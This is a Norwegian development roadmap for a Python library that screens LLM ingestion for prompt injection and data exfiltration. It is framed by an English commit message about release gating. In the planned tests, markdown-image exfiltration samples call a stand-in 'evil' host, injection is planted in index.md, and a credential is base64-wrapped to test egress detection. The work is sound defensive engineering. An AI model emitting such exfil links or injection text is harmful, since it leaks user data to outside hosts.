1
0
Fork 0
llm-ingestion-pipeline-secu.../docs/PLAN-v1.md
Kjell Tore Guttormsen 0dce50fb05 docs(plan): the v1.0 gate rested on okf's old pin, and its file list on four surfaces
TWO STALE PREMISES IN THE SAME SECTION, BOTH NOW MEASURED

1. The pin. Session G's gate was written against okf pinning the guard
   `>=0.2,<0.3` with `[tool.uv.sources]` tag `v0.2.0` — true when written
   (their HEAD 4ea00a9), and the whole reason the gate says a green answer
   proves nothing: `<0.3` excluded the versions the fixtures were meant to
   exercise, so uv resolved v0.2.0 and came back green for free.

   Read from their pyproject.toml today, not from their coord message: they are
   on `>=0.3,<0.4` with tag `v0.3.4`. That inverts the consequence — an
   unchanged tree now resolves v0.3.4, which is inside what the gate asks for,
   so the null result is gone.

   Two things follow and neither is settled here. `<0.4` excludes 0.4.0 and
   0.5.0, so the axis separation and the input-cap refusal are outside anything
   okf can measure today. And the gate says "passes against guard 0.3.1" while a
   run today measures 0.3.4 — whether that counts as satisfied is an operator
   decision, deliberately not taken. The transitive-arrival bullet is corrected
   the same way: an accidental consumer lands on v0.3.4 now, not v0.2.0.

2. The file list. It named four release surfaces. The 0.5.0 sweep found five
   more carrying a version claim that no release had ever touched — and one of
   those five was `**Status:** v0.3`, which this very line already named, and
   0.4.0 missed anyway. Writing down a trap is not applying it.

   Replaced with the nine current-state surfaces, plus the rule that made the
   sweep safe: sort every hit into current-state or measurement provenance
   BEFORE editing, because a version sweep also hits "verified identical on
   0.2.0 and 0.3.1" and bumping that falsifies the record. So it can never be a
   sed pass.

   The key-assumption test went with it. "grep all four files" presupposed the
   list it was supposed to verify. It is now a git grep over all tracked files
   with each hit classified, plus `git show <pre-tag-sha>:README.md` — the check
   that proves what the tag will carry, run while the tag does not yet exist.
   That ordering is the fix; v0.4.0 verified afterwards and carries a stale
   README permanently as a result. SECURITY.md gets a note that at 1.0.0 its
   sentence is rewritten, not bumped: "pre-1.0" stops being true.
2026-08-11 06:46:29 +02:00

36 KiB

Re-planlagt roadmap — v1.0 (Python) + Node/TS-port

Forfattet: Fable 5, 2026-07-09 (kryssmodell-review, docs/review-2026-07.md); promotert til live sesjonsplan 2026-07-10. Sporet docs-fil; hjem = Forgejo open/ (eneste sanksjonerte offentlige flate, aldri GitHub). Utfyller docs/PLAN.md (høynivå byggeplan) med detaljerte, Opus-eksekverbare sesjon-specer.

Mållinje (bindende): (a) en shippet, klasseledende v1.0 av Python-biblioteket (lukk review-funn + format/kvalitets-gaps, konsolider terskler, verifiser novelty-claimet, docs, versjons-sync + publish), OG (b) en Node/TS-port over den delte JSON-lexicon. Node-porten starter FØRST når Python-v1.0-surfacen er frosset og scan-ren (Session G). Stream 4 (pre-adaptasjons-scan) og consumer-integrasjon hører til «Ambisiøse utvidelser» (review Del 1), ikke v1.0-sekvensen.

REVIDERT 2026-07-25 — v1.0-gaten er strammet, og en 0.3.0 er skutt inn foran G. Setningen over sier at consumer-integrasjon IKKE er del av v1.0-sekvensen. Den gjelder ikke lenger. Operatør-beslutning: 1.0.0 gates på at den første ekte integrasjonen kommer grønt tilbake (llm-ingestion-okf steg 4 / deres v0.4.0), ikke på vår egen suite. Begrunnelse: 522 egenskrevne tester + en egenskrevet coverage-matrise beviser at koden gjør det vi designet, ikke at designet overlever kontakt med virkeligheten. Bevisbyrden kom utenfra — okf fant, i sin FØRSTE utveksling med oss, at main hadde divergert fra v0.2.0 på import_bundle, og at CHANGELOG manglet tre atferdsendringer. Koden bestod; utgivelses-hygienen gjorde det ikke. v1.0 er primært et governance-løfte under semver, så det løftet avgis først etter én validert release-syklus.

v0.3.0 er derfor kuttet 2026-07-25 (tag pushet; 467b9e3). Den bærer Session A/A2/B ut til konsumenter som fortsatt pinner v0.2.0 og dermed ikke har noe av hardningen — og den er det som i det hele tatt gjør ekte tilbakemelding mulig. Minor og ikke patch fordi A2 (0772daf) satte allow_reserved=True som default og dermed LØSNET en gate. Node-porten (TRACK 2) er fortsatt blokkert bak G.

Endringer mot låst roadmap (STATE «re-sekvensert 2026-07-06»): steg 2 «modne guarden» utvides med review-injiserte fiks-sesjoner (A/B/C/D/E) FØR release (G). .pdf (steg 2i) blir en eksplisitt operatør-beslutning (Session F) med anbefaling om konsesjon. Node-porten (gammelt steg 3) splittes i P0-P7 med en delt parity-fixture som ryggrad.

Format per sesjon: Mål · Scope-grense · Avhengigheter · Filer · TDD-plan · Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid: PYTHONPATH=src .venv/bin/pytest …. Én sesjon ≈ «Les STATE.md og følg instruksen».


TRACK 1 — Python v1.0

Session A — Aktivt-innhold-detektor wiret inn i gaten (injisert av review MAJOR #1)

  • Mål: screen_output og okf.import_bundle skal surface EchoLeak-klassen (markdown-bilde/lenke/refdef/autolink/aktiv-HTML) som findings som mater disposition — uten å bryte report/mutasjon-separasjonen.
  • Scope-grense: rører IKKE lexicon/entropy/secret-logikk, contract, fence, sanitize. Ingen ny runtime-dep (stdlib-only). neutralizes muterende API beholdes uendret (bakoverkompatibelt).
  • Avhengigheter: ingen (kan starte først).
  • Filer: nytt src/llm_ingestion_guard/active_content.py (report-only scan_active_content(text, source) -> Report, OWASP LLM05); refaktor neutralize.py til å dele regex-tabellen; edit output.py (scan_output steg 6: kall scan_active_content); edit __init__.py (eksporter scan_active_content); edit tests/test_showcase.py + tests/test_okf_showcase.py (plant EchoLeak-vektor); ny tests/test_active_content.py.
  • TDD-plan (failing FØRST):
    1. test_active_content.py::test_markdown_image_is_reportedscan_active_content("![x](https://evil/leak?d=1)") inneholder label active:markdown-image, severity HIGH. (Rødt: modulen finnes ikke.)
    2. test_screen_output_reports_echoleakscreen_output("![x](https://evil/leak)", PRESET_USER_UPLOAD).disposition er QUARANTINE_REVIEW+ (ikke WARN).
    3. test_okf_import_flags_body_echoleak — bundle med markdown-bilde i body → aggregat ≠ WARN.
    4. Minimal impl: del regexene, report-only pass, wire i scan_output.
    5. Regresjon: hele suiten grønn (neutralize-tester uendret).
  • Nøkkelantakelser (+ test):
    • «neutralize og den nye detektoren kan dele samme regex-tabell uten atferdsendring i neutralize.» Test: eksisterende tests/test_neutralize.py passerer uendret etter refaktor.
    • «severity-valget (HIGH for bilde) gir ønsket disposition under begge preset.» Test: assertion 2/3 over. Risiko hvis feil: for lav severity → fortsatt WARN; testes eksplisitt.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_active_content.py tests/test_showcase.py tests/test_okf_showcase.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import screen_output, PRESET_USER_UPLOAD, Disposition; d=screen_output('![x](https://evil/leak?d=1)', PRESET_USER_UPLOAD); assert d.disposition is not Disposition.WARN, d" → exit 0.
    • python -c "import tomllib,pathlib; assert tomllib.loads(pathlib.Path('pyproject.toml').read_text())['project']['dependencies']==[]" → exit 0 (kjerne-invariant intakt).

Session A2 — OKF reservert-fil-håndtering (index.md/log.md) (injisert av review MAJOR #2)

  • Mål: import_bundle skal behandle legitime reserverte strukturfiler (index.md/log.md, spec §3.1/§6/§7) som skann-body-men-ikke-path-rejekt, ikke hard-avvise dem — og faktisk skanne index.md-bodyen (lest først, høyest-prioritert injeksjonsflate). Behold shadow-rejektet i upload/front-end-konteksten.
  • Scope-grense: rører IKKE validate_concept_paths oppførsel i upload-konteksten (front-end shadow-reject beholdes). Ingen endring i T1/T2/T3-gatene. Kun mode-b bundle-import-grenen.
  • Avhengigheter: ingen kode-avhengighet av A; men bør landes FØR G (frys). Kan parallelliseres med A/B/C.
  • Filer: edit src/llm_ingestion_guard/okf.py (_validate_concept/import_bundle: reservert-basenavn → skann-gren i stedet for path-reject; link_graph uendret); edit tests/test_okf.py + tests/test_okf_showcase.py (nytt: legitimt bundle med index.md/log.md ADMITer; injeksjon i index.md FANGES; shadow-upload i front-end REJECTer fortsatt).
  • TDD-plan (failing FØRST):
    1. test_okf.py::test_legit_index_and_log_admit — bundle {index.md, log.md, tables/users.md} (rene) → aggregat WARN, ingen error på index/log. (Rødt i dag: FAIL_SECURE, verifisert i review-proben.)
    2. test_okf.py::test_injection_in_index_body_is_caught — injeksjon i index.md-body → concept-report har override:ignore-previous. (Rødt i dag: findings=[].)
    3. test_okf_inbox_uploads.py::test_reserved_name_upload_is_rejected — MÅ fortsatt REJECTe (front-end shadow-reject bevart).
    4. Minimal impl: skill reservert-basenavn i bundle-import (skann-body) fra upload-materialisering (shadow-reject).
  • Nøkkelantakelser (+ test):
    • «index.md/log.md kan skannes som tekst uten path-reject uten å svekke shadow-vernet i upload-konteksten.» Test: assertion 1-3 samlet — legit bundle admits, index-injeksjon fanges, upload-shadow rejects.
    • Risiko: okf_version-frontmatter er tillatt KUN i bundle-root index.md (spec). Hvis body-skann kjører parse_frontmatter på en index.md kan strict-gaten tripp. Test: test_index_with_okf_version_frontmatter_admits — skann index.md-body, ikke reject på lovlig okf_version.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_okf.py tests/test_okf_showcase.py tests/test_okf_inbox_uploads.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import okf; r=okf.import_bundle({'index.md':'---\nokf_version: 0.1\n---\n# Listing\n','tables/users.md':'---\ntype: t\n---\nclean\n'}); assert r.disposition.value=='warn', [ (c.path,c.disposition.value,c.error) for c in r.concepts ]" → exit 0.

Session B — base64-innpakket secret-egress (injisert av review MINOR)

  • Mål: decode-and-rescan skal også kjøre scan_secret_egress over dekodet base64-plaintext, så en base64-innpakket credential fanges av LLM02-gaten.
  • Scope-grense: kun output.py decode-rescan-løkken (steg 3). Ingen endring i entropy-klassifisering, lexicon, eller egress-mønstrene selv.
  • Avhengigheter: ingen (uavhengig av A; kan parallelliseres).
  • Filer: edit src/llm_ingestion_guard/output.py (steg 3: legg til scan_secret_egress(blob.decoded) med decoded:egress:*-relabel); edit tests/test_output.py; edit README honest-limits (restgap: hex-innpakket).
  • TDD-plan:
    1. test_output.py::test_base64_wrapped_secret_is_caught — output med base64(AWS-nøkkel, fragment-bygget gitleaks-safe) → finding-label decoded:egress:aws-access-key-id. (Rødt i dag — Probe 3 bekreftet [].)
    2. Minimal impl: i decode-rescan-løkken, kjør også scan_secret_egressblob.decoded, relabel decoded:<label>, bær blob-offset.
    3. Restgap-test: hex-innpakket secret er FORTSATT ikke fanget → dokumenter som honest-limit (bevisst avgrensning, ikke stille miss).
  • Nøkkelantakelser (+ test):
    • «evidence bærer aldri secret-verdien, også for den dekodede varianten.» Test: assert nøkkel-fragmentet ikke i finding.evidence.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_output.py → N grønne (N = før +2).
    • PYTHONPATH=src .venv/bin/python /path/to/probe.py (Probe 3 fra reviewen) → base64-linjen viser nå decoded:egress:aws-access-key-id.

Session C — Novelty-survey + README/BRIEF-reframe (injisert av review MAJOR #2)

  • Mål: erstatt det uverifiserte/absolutte novelty-claimet med den forsvarbare kompositt-kontrakt-formen; oppdater BRIEF §11 fra «assumed» til verifisert-med- avgrensning.
  • Scope-grense: docs only (BRIEF.md, README.md). Ingen kodeendring. Ingen ny absolutt novelty-setning.
  • Avhengigheter: ingen.
  • Filer: edit docs/BRIEF.md §11; edit README.md posisjonering; ev. edit docs/PLAN.md-posisjonering (§19-45) — men PLAN er live-plan, la Opus avgjøre om den røres eller kun refereres.
  • TDD-plan (docs — verifiserbar via review, ikke pytest): ingen failing test; i stedet en verifiseringslogg i BRIEF §11 som lister ipi-scanner + aig-guardian med URL og hvorfor de ikke motbeviser kompositt-kontraktet.
  • Nøkkelantakelser (+ test):
    • «ingen bibliotek pakker det fulle firdelte kontraktet som minimal-dep kode.» Test: gjenta PyPI/GitHub-surveyen (søk «RAG ingestion security», «write-time prompt injection», «ipi-scanner», «ingest guard»); bekreft at ingen ny kandidat dekker karantene+isolasjon+scan-før-persist+fail-secure samlet. Merk dato.
  • Verifisering: grep -n "assumed, not verified" docs/BRIEF.md → tom (claimet ikke lenger uverifisert); grep -niE "query-time.*or hosted|the only" README.md → ingen absolutt formulering igjen.

Session D — Kalibrerings-konsolidering (injisert av review Akse 4; Node-prereq)

  • Mål: samle alle kalibrerings-konstanter (entropy-gulv, MAX_SCAN_CHARS, rot13-min, cognitive-load-lengder, disposition-rangeringer) i én dokumentert flate calibration.py, så Node-porten kan speile nøyaktig samme tall.
  • Scope-grense: ren refaktor — null atferdsendring. Ingen terskeljustering (det er en separat, senere kalibrerings-oppgave). Kun flytting + navngiving.
  • Avhengigheter: bør komme ETTER A (så aktivt-innhold-severities også bor der).
  • Filer: nytt src/llm_ingestion_guard/calibration.py; edit entropy.py, lexicon.py, disposition.py, active_content.py til å importere derfra.
  • TDD-plan:
    1. Snapshot-test FØRST: kjør hele suiten, lagre at 321(+delta) er grønne.
    2. Flytt konstanter; importer.
    3. Regresjon: identisk testresultat (ingen ny/endret assertion) beviser null atferdsendring.
  • Nøkkelantakelser (+ test): «flyttingen endrer ingen verdi.» Test: hele suiten grønn uendret; en eksplisitt test_calibration.py asserter de konkrete tallene (5.4/128, 5.1/64, 4.7/40, 1_000_000, 40, 2000/2500) som en frossen kontrakt Node-porten deler.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest → samme antall grønne som før sesjonen (ingen delta i test-count utover test_calibration.py).

Session E — Docs/versjons-sync + SECURITY/CONTRIBUTING + honest-limits (injisert av review MINORs)

  • Mål: fjern versjons-drift; legg til manglende åpen-kildekode-artefakter; oppdater honest-limits med de residualene reviewen avdekket.
  • Scope-grense: docs/metadata only. Ingen kodeendring.
  • Avhengigheter: etter A/B/C (så honest-limits reflekterer faktisk tilstand).
  • Filer: README.md (badge tests-275→faktisk N; status v0.1v1.0; honest-limits: HIGH-i-trusted-prosa-residual, base64/hex-secret-restgap, quarantine-floor-note); docs/BRIEF.md:6-7 (fjern «No code yet»); nytt SECURITY.md (disclosure-policy, Forgejo-kontakt); nytt CONTRIBUTING.md.
  • TDD-plan: ingen pytest; verifiser via grep-sjekker under.
  • Nøkkelantakelser (+ test): «badge-tallet matcher faktisk suite.» Test: badge-N == pytest-output.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest -q | tail -1 → «N passed»; grep -n "tests-${N}_passing" README.md treffer.
    • grep -niE "v0\.1|275_passing|No code yet" README.md docs/BRIEF.md → tom.
    • test -f SECURITY.md && test -f CONTRIBUTING.md → exit 0.

Session F — .pdf-beslutning (operatør-gate; to gjensidig utelukkende spor)

  • Mål: avklar det siste format-gapet. Anbefaling: konsesjon (F1).
  • Rasjonale for konsesjon: front-end er en dev-scoped showcase, ikke shippet kode; README honest-limits sier allerede pdf-ekstraksjon er upålitelig; å legge til reportlab KUN for å lage white-on-white-test-fixtures er uforholdsmessig (to nye dev-deps for et demo-format). Binærlag-carriers (OCR/font-stego) er uansett eksplisitt out-of-scope. Konsesjon svekker ikke v1.0.
  • Spor F1 (anbefalt) — Konseder .pdf permanent:
    • Filer: README.md honest-limits (.pdf = bevisst honest-limit, ikke TODO); docs/PLAN.md §247-tabell (marker .pdf-raden «conceded»).
    • Verifisering: grep -n "pdf" README.md viser konsesjon, ikke «known gap».
  • Spor F2 (kun hvis operatør vil ha .pdf) — Bygg .pdf-slice:
    • Operatør-gate FØRST: bekreft pypdf (lesing) + reportlab (skrive white-on-white fixtures) som nye [dev]-deps — aldri core. Kjerne-invariant dependencies=[] MÅ holde.
    • Filer: pyproject.toml ([dev] += pypdf, reportlab); tests/inbox_frontend.py (_extract_pdf + dispatch .pdf); tests/test_okf_inbox_uploads.py (slice 2i: _make_pdf med white-on-white + normal-tekst injeksjon, detach-proof).
    • TDD: test_pdf_whiteonwhite_injection_is_caught (rødt) → _extract_pdf → grønt; test_pdf_detach_proof.
    • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_okf_inbox_uploads.py → +N grønne; python -c "import tomllib,pathlib; d=tomllib.loads(pathlib.Path('pyproject.toml').read_text()); assert d['project']['dependencies']==[] and 'pypdf' in ' '.join(d['project']['optional-dependencies']['dev'])" → exit 0.
  • Avhengigheter: uavhengig; kan gjøres når som helst før G.

Session G — v1.0 freeze + release (FRYSER Python-surfacen — Node-prereq)

  • Mål: shippe v1.0.0; fryse den offentlige surfacen som porten oversetter.
  • Scope-grense: ingen ny feature. Kun versjons-bump, CHANGELOG, tag, push.
  • Avhengigheter: A, B, C, D, E, F ferdig (alle review-funn lukket/konsedert per 2026-07-25) PLUSS den reviderte gaten: første ekte integrasjon grønn — se REVIDERT-blokken øverst. Konkret: llm-ingestion-okf steg 4 / v0.4.0 kjører grønt mot v0.3.1 (de har FORPLIKTET seg til å kjøre Door B+C-fixtures og sende resultatet UANSETT utfall — et rødt FP-resultat er like verdifullt), OG ingen API-formsendring ut av den integrasjonen som ikke er absorbert. Ett validert integrated teller mer enn fem planned-erklæringer; vi venter IKKE på de øvrige (ms-ai-architect bygde sitt eget, okr er operatør-parkert).
  • ⚠️ GATEN KAN IKKE ÅPNES AV ET GRØNT SVAR ALENE — verifiser hvilken versjon som ble resolvet (funnet 2026-07-25, premiss-verifisering). Setningen «v0.4.0 kjører grønt mot v0.3.1» var skrevet mot en pin vi ikke hadde lest. Den gang pinnet okf guarden >=0.2,<0.3 i [project].dependencies og [tool.uv.sources]-taggen til v0.2.0 (verifisert på deres v0.4.0-tag og HEAD 4ea00a9). <0.3 ekskluderte både 0.3.0 og 0.3.1, så et grønt svar var det ENESTE utfallet som intet forteller og ser ut som det forteller alt. OPPDATERT PREMISS (2026-08-11, lest fra deres pyproject.toml, ikke fra en coord-melding): okf står nå på dependencies = ["llm-ingestion-guard>=0.3,<0.4"] og [tool.uv.sources]-tagg v0.3.4. Det snur konsekvensen: en kjøring på et uendret tre resolver nå v0.3.4, som ligger innenfor det gaten ber om, ikke utenfor. Nullresultatet over er dermed borte — men to ting følger, og ingen av dem avgjøres her:
    • <0.4 ekskluderer 0.4.0 og 0.5.0. Aksesplittelsen (Risk/action_map) og input-cap-refusjonen er per definisjon utenfor enhver måling okf gjør i dag.
    • Gaten er formulert som «passerer mot guard 0.3.1», og en kjøring i dag måler 0.3.4. Om det teller som oppfylt er en operatørbeslutning, ikke en premissoppdatering, og den er bevisst ikke tatt i denne økten. Gate-kravet, presist formulert (okf spurte rett ut 2026-07-25 — svaret er låst): gaten krever at fixture-settet passerer mot guard 0.3.1, med den resolvede versjonen lest fra importlib.metadata ved kjøretid og oppgitt i resultatet. Gaten krever IKKE at okfs taggede artefakt kan resolve 0.3.1 — det er en RELEASE- beslutning eid av deres operatør, ikke et bevis om vår kalibrering. Vi stiller ingen release-forespørsel. Målingen skal kunne si nei uten at noen først har shippet et utvidet range; ville vi krevd det motsatte, ville vi bedt dem utgi en range som slipper inn en versjon de ennå ikke har målt. Deres metode (scratch-venv utenfor prosjektmiljøet, --no-deps, guard installert direkte fra v0.3.1-taggen, resolved versjon assertert) tilfredsstiller gaten.
  • Transitiv ankomst teller IKKE som integrasjon (portfolio-optimisers innsikt, 2026-07-25). okf v0.4.0 gjør guarden til en OBLIGATORISK runtime-dep, så en konsument kan få oss i grafen uten å velge oss — og lander da på det okfs pin slipper inn, i dag v0.3.4 (var v0.2.0 da dette ble skrevet), altså uten aksesplittelsen og uten input-cap-refusjonen. Stille under-forsvar, ikke brudd. En konsument som fikk oss ved uhell måler ingenting med hensikt; grønt derfra beviser mindre enn rødt fra en som valgte oss.
  • Filer — NI current-state-flater, ikke fire (korrigert 2026-08-11). Denne linjen listet fire, og 0.5.0-sveipet fant at fem til bar et versjonsutsagn ingen release noensinne hadde rørt. Én av dem sto allerede navngitt her (**Status:**- linjen) og ble likevel oversett i 0.4.0 — å føre en felle er ikke å anvende den.
    • pyproject.toml (version, + Development Status :: 3 → 5 - Production/Stable)
    • src/llm_ingestion_guard/__init__.py (__version__)
    • README.md: badge, **Status:**-linjen, install-pinnen
    • SECURITY.md: «pre-1.0 (0.x.x, alpha)» — den ENESTE med konsekvens for en utenforstående, siden den navngir støttevinduet. Ved 1.0.0 skal setningen ikke bumpes, den skal skrives om: «pre-1.0» er ikke lenger sant.
    • docs/BRIEF.md og CLAUDE.md: status-linjen (sistnevnte også modultallet)
    • docs/ADOPTION-BRIEF.md: status-linjen, «As of vX.Y.Z»-linjen, testtallet
    • Forge-beskrivelsen: ingen versjon, men ≤180 kodepunkter — verifiser mot API-et. Sorteringen kommer FØR første redigering, og den er ufravikelig: et sveip etter versjonsstrengen treffer også målingsproveniens («New in v0.4.0», «verified identical on 0.2.0 and 0.3.1», «measured against the v0.3.1 tag», hver «post-0.4.0 tree» i LIMITATIONS). De skal ALDRI bumpes — det falsifiserer journalen i stedet for å oppdatere den. Derfor kan dette ikke være et sed-sveip. NB — entryen kan ikke lenger «liste A-F»: A/A2/B ligger allerede ute under [0.3.0]. [1.0.0] skal referere [0.3.0] + [0.3.1] for atferdsendringene og selv bære frysepunktet (API-stabilitet + det integrasjonen beviste), ikke gjenta dem.
  • TDD-plan: ingen ny test; hele suiten grønn er release-gaten.
  • Nøkkelantakelser (+ test): «alle versjonsreferanser er synkrone.» Testen «grep alle fire filer» holdt ikke — den forutsatte listen den skulle verifisere. Erstattet av to sjekker som gjøres FØR taggen finnes (rekkefølgen er poenget — v0.4.0 verifiserte etter, og bærer derfor feil README permanent):
    1. git grep -n -E 'v?0\.[0-9]+(\.[0-9]+)?' over ALLE sporede filer, hvert treff klassifisert current-state eller proveniens. Ingen current-state-treff igjen som ikke sier 1.0.0.
    2. git show <pre-tagg-sha>:README.md — den beviser hva taggen kommer til å bære. En vellykket install fra sha-en beviser bare at pakken bygger; teksten er en annen påstand. Begge kjøres, i den rekkefølgen, og taggen settes etterpå. Etter taggen: kjør install-blokka ordrett slik README-en trykker den (anonym https mot open/-speilet, mot @v1.0.0) — det er kommandoen en fremmed utfører.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest → alle grønne.
    • grep -rn "1\.0\.0" pyproject.toml README.md src/llm_ingestion_guard/__init__.py CHANGELOG.md → treffer i alle fire; grep -rn "0\.3\.0" … → ingen dangling ref utenfor CHANGELOG-historikken.
    • Install-pinnen i README må verifiseres mot den NYE taggen i en ren venv (anonym pip install …@v1.0.0) — README skal aldri avertere en kommando vi ikke har kjørt.
    • git tag v1.0.0 + push til open/ (durabelt autorisert). STATE.md røres ikke av tag (local-only).

Session H — 0.3.1: regresjonsfiks for aktivt-innhold-kalibrering (LANDET 2026-07-25)

LANDET — 6e9b816, tag v0.3.1 pushet. Begge defekter fikset sammen; repro-tabellen under er kjørt på nytt og snudd (ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet → fail_secure). 577 tester grønne, coverage-matrise exit 0 (128/128 recall, 6/6 gap holder), anonym ren-venv-install av @v0.3.1 verifisert. Nye residualer skrevet inn i docs/LIMITATIONS.md (beaconing, kort opak URL-del, percent-escape-FP) og asserteres av matrisen. Alle 7 varslede repo har fått MÅLINGENE. Neste: akse-separasjonen (deteksjon ≠ disposisjon), ikke ny preset.

RETTET 2026-08-10 — denne linja sa «Neste: Session G» og var en felle. «Session G» er en skrevet seksjon lenger opp (:231) og den er v1.0 freeze + release — noe helt annet. Det fantes ALDRI en skrevet plan-seksjon for akse-separasjonen; pekeren traff denne ene framoverlinja, og en økt som fulgte den ville designet mot feil seksjon. Tallet ble heller ikke 0.4.0: 0.4.0 gikk til input-cappen (operatørvalg 08-10), og akse-separasjonen landet som del av 0.5.0-arbeidet. Den er nå BYGD og committet — se CHANGELOG.md [Unreleased] for hva den faktisk ble (Risk-aksen, Policy.action_map, DispositionResult.assessment), målt additiv: 703 → 715 tester uten at én eksisterende test ble endret, matrise 128/128 + 6/6, og PRESET_USER_UPLOAD- tabellen på :288-290 re-målt rad for rad uendret. Begge låste løfter under :370 ble målt mot det og fyrer IKKE. 0.5.0 er ikke tagget: taggen venter på en release-commit som bærer alle fem versjonsflater samtidig.

  • Mål: gjøre den utrustede upload-stien brukbar igjen uten å miste EchoLeak- deteksjonen, og lukke testgatens blindfelt som slapp regresjonen forbi 522 grønne tester.
  • Utløser: llm-ingestion-okf projiserte konsekvensen fra CHANGELOG-teksten FØR 0.3.0 ble kuttet; vi shippet før vi leste innboksen. De traff retningen og undervurderte alvoret.

Målt på v0.3.0 (ikke antatt) — begge dører, PRESET_USER_UPLOAD / origin=EXTERNAL:

dokument utfall
ingen lenker warn
én ordinær lenke / autolink / refdef quarantine_review
én ordinær bilde-referanse fail_secure
relativt/lokalt bilde warn
  • Rotårsak — tre UAVHENGIGE defekter som forsterker hverandre:

    1. Severity følger konstruksjons-TYPE, ikke URL-FORM. markdown-image: HIGH fyrer på ethvert eksternt bilde. Exfil-primitivet er ikke «et bilde» — det er en URL som bærer data utover. ![diagram](https://example.com/a.png) bærer ingenting.
    2. Quarantine-floor fyrer på ENHVER finding (policy.quarantine_default and report.found). Premisset «findings er unntaket» brøt da hver lenke ble en finding. Dette er den allerede dokumenterte «vakuøs quarantine-floor»-residualen.
    3. FP-korpuset kunne strukturelt ikke fange det: _FALSE_POSITIVE (6 prosa-snutter) har NULL markdown-lenker/bilder; asserteres KUN under PRESET_TRUSTED_SOURCE (hvor alt gir warn uansett); og kjører _scan_input, så scan_output steg 6 — der active_content faktisk bor — berøres aldri av korpuset.
  • Begge kodeendringer trengs sammen (verifisert): kun (1) → floor karantenerer fortsatt; kun (2) → HIGH-bilde fail_secure'er fortsatt.

  • Scope-grense: INGEN ny offentlig API. Ny mellom-preset er 0.4.0, ikke denne. Rør ikke trusted-tier-residualen (HIGH-i-trusted→WARN). Ingen omskriving/neutralize i gaten — biblioteket reparerer ikke stille (bekreftet som bærende av okf).

  • Avhengigheter: ingen.

  • Filer: calibration.py (alle nye tall — låst konvensjon), active_content.py (form-analyse), disposition.py (floor-terskel), tests/test_corpus.py (blindfeltet), tests/test_active_content.py, coverage.py, CHANGELOG.md, docs/LIMITATIONS.md.

  • TDD-plan (failing test FØRST — Iron Law):

    1. Utvid _FALSE_POSITIVE med REALISTISKE markdown-dokumenter (ordinær lenke, bilde, autolink, refdef, blandet) og legg til et FP-testtilfelle som kjører screen_output under PRESET_USER_UPLOAD. Dette skal være rødt før noen kildeendring — det er beviset på at gaten nå faktisk dekker regresjonen.
    2. Form-analyse i active_content: ordinær ekstern URL (bar sti, ingen query, ingen høy-entropi-segment) → LOW; exfil-form → behold HIGH/MEDIUM. Gjenbruk entropy- modulen; ikke oppfinn ny heuristikk. data-uri og raw-html beholder HIGH ubetinget (aktive uansett URL-form).
    3. Floor-terskel i _base_disposition: fyrer på MEDIUM+ i stedet for enhver finding.
    4. Adversarielt mot-korpus: exfil-formede URL-er (query som bærer verdi, høy-entropi sti-segment/subdomene, percent/base64-payload) MÅ fortsatt nå HIGH → fail_secure.
  • Nøkkelantakelser (+ test):

    • «0.3.1 er ærlig som patch, ikke minor.» VERIFISERT 2026-07-25: lexicon har 0 LOW/INFO-mønstre (40 high / 22 medium / 21 critical) og ingen annen detektor produserer LOW. Floor-endringen er derfor en no-op for alt som fantes før 0.3.0 — den løsner ingenting for en v0.2.0-konsument. Re-test: python -c "…Counter(severity)…" skal fortsatt vise null LOW/INFO.
    • «form-heuristikken har ikke falske negativer på ekte exfil.» Test: mot-korpuset i TDD-steg 4. Dette er den farlige antakelsen — en for grov «ordinær»-definisjon gjenåpner EchoLeak.
    • «ren beaconing forblir udekket.» Et bilde som kun trigger et fetch uten å bære data (IP/metadata-lekkasje) faller til LOW. Dette er et BEVISST nytt hull og skal skrives inn i docs/LIMITATIONS.md, ikke ties i hjel.
  • Verifisering:

    • PYTHONPATH=src .venv/bin/pytest → alle grønne (-q skjuler summary — dropp den).
    • python -m llm_ingestion_guard.coverage → exit 0; ingen dokumentert gap-assertion brutt, og de nye FP-tilfellene er representert i matrisen.
    • Repro-tabellen øverst kjørt på nytt: ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet bilde → fail_secure under upload-preset.
    • Versjons-sync 0.3.0→0.3.1 i alle fire filer + README install-pin; anonym ren-venv pip install …@v0.3.1 før README averterer den.
    • Coord til de 7 varslede repoene med MÅLINGER, ikke beskrivelse (vi lovet det).

🔒 Konsument-varslingsplikt — to LÅSTE løfter (gitt 2026-07-25)

Begge er gitt til navngitte konsumenter som bygger på nåværende atferd. De bor HER og ikke bare i STATE.md, fordi STATE er LOCAL-ONLY og gitignored — et løfte som kun finnes der overlever ikke en maskin. Å bryte ett av disse stille er en release-defekt, ikke en preferanse.

  1. Gradering av ordinære lenker/bilder under PRESET_USER_UPLOAD — enhver endring krever varsel til linkedin-studio før den shippes. De pinner v0.3.1 ved wiring og bygger på 0.3.1-formen; en stille re-stramming lander som produksjonsincident hos dem, ikke som en release-note. Gjelder også 0.4.0: akse-separasjonen skal endre DISPOSISJON, ikke graderingen — viser det seg feil under scoping, fyrer løftet.
  2. Relativ-mål-asymmetrien (relative lenker/bilder i en OKF-bundle flagges ikke) — lukkes den, får llm-ingestion-okf varsel før det shippes. Den er en Door C-egenskap, ikke et guard-gap: et merget konsept skrives VERBATIM, så vi reparerer og omskriver ikke (designprinsipp 3). Men lukking endrer hva som ankommer deres persist-gate.

Kjent, ikke modellert: okf rapporterer at percent-escapes når filnavn gjennom en slugger — dvs. %20 produseres SYSTEMATISK fra dokumenttitler, ikke tilfeldig. Vår percent-escape-FP ble kalibrert mot dokumentasjons-URL-er der escapes er insidentelle. Er okfs mekanisme representativ, er dette en strukturell FP-klasse og ikke en sjelden form. Måles i deres re-run og i linkedin-studios korpus.


TRACK 2 — Node/TS-port (stream 3). Starter etter Session G.

